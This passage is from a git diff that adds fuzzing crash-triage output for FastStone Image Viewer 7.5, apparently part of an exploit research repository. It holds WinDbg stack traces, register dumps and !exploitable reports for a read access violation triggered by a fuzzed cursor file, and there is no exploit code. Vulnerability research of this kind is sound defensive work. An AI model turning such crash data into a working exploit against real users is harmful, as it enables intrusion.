009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0023e000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0023e000 7abdd744 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62a6 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0023e000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..a460ff6 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/39621/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..24ca36b --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Reading From 0x00000000001a4002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..fabbafa Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..d31a9b1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A50: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A50: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a50.d5c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ed7b10 edx=00003879 esi=12738f10 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.51383e+012 3.91195e+024 -347.78 -1.33169e-014 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fb8130 07f35930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00361000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00361000 964e2b5a 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ad 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00361000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x1a4002 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:READ +FAULTING_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_COUNT:12 +BASIC_BLOCK_INSTRUCTION:005bdfc9 mov cl,byte ptr [eax] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfcb mov byte ptr [esi+edx+2],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfcf mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfd2 mov cl,byte ptr [eax-1] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfd5 mov byte ptr [esi+edx+1],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfd9 mov ecx,dword ptr [ebp-0ch] +BASIC_BLOCK_INSTRUCTION:005bdfdc mov cl,byte ptr [eax-2] +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfdf mov byte ptr [esi+edx],cl +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:cl +BASIC_BLOCK_INSTRUCTION:005bdfe2 inc dword ptr [ebp-24h] +BASIC_BLOCK_INSTRUCTION:005bdfe5 add eax,4 +BASIC_BLOCK_INSTRUCTION_TAINTED_INPUT_OPERAND:eax +BASIC_BLOCK_INSTRUCTION:005bdfe8 dec ebx +BASIC_BLOCK_INSTRUCTION:005bdfe9 jne image00000000_00400000+0x1bdfb8 (005bdfb8) +MAJOR_HASH:0x67613208 +MINOR_HASH:0x2b68626d +STACK_DEPTH:15 +STACK_FRAME:image00000000_00400000+0x1bdfc9 +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff50b +STACK_FRAME:image00000000_00400000+0x1ff1de +STACK_FRAME:image00000000_00400000+0x4ef1af +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfc9 +INVOKING_STACK_FRAME:0 +DESCRIPTION:Read Access Violation +SHORT_DESCRIPTION:ReadAV +CLASSIFICATION:UNKNOWN +BUG_TITLE:Read Access Violation starting at image00000000_00400000+0x00000000001bdfc9 (Hash=0x67613208.0x2b68626d) diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..d31a9b1 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/UNKNOWN_0x67613208_0x2b68626d/4404/WindowsDebugEngine_description.txt @@ -0,0 +1,192 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1A50: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1A50: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`74ea0000 00000000`74ea8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74a00000 00000000`74a28000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a30000 00000000`74bca000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`001d0000 00000000`001ed000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1a50.d5c): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=001a4002 ebx=0000ed2d ecx=07ed7b10 edx=00003879 esi=12738f10 edi=0fc3cfd4 +eip=005bdfc9 esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz na pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.741047051771987040000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-7.51383e+012 3.91195e+024 -347.78 -1.33169e-014 +image00000000_00400000+0x1bdfc9: +005bdfc9 8a08 mov cl,byte ptr [eax] ds:002b:001a4002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfc9 +0019f9c4 005ff50b 0019f9d8 005ff787 0019fa48 image00000000_00400000+0x20d6fc +0019fa48 005ff1de 0019fa70 005ff1f9 0019fa68 image00000000_00400000+0x1ff50b +0019fa68 008ef1af 0019fa7c 008ef1b9 0019fb98 image00000000_00400000+0x1ff1de +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef1af +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 